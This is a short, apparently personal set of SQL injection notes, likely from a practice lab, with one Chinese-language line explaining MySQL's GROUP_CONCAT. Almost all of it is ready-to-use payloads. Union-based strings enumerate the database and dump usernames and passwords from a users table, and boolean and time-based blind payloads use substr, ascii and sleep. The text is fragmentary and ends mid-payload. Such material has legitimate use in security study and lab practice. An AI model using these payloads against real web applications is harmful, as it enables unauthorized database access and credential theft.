id = 1' order by 5 --+
id=0' union select 1,2,3 --+
id=0' union select 1,user(),database() --+
GROUP_CONCAT(expr)该函数将非空列值按照分组条件进行合并并最终返回。如果有空值,则返回为空
id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ id=0' union select id,group_concat(username,','),group_concat(password,',') from users --+
id=1' and length(database())=8 --+
substr(database(),1,1)```
' and if(1=0,1,sleep(10)) --+
?id=1' and if(ascii(substr(database(),1,1))=116,sleep(6),1) -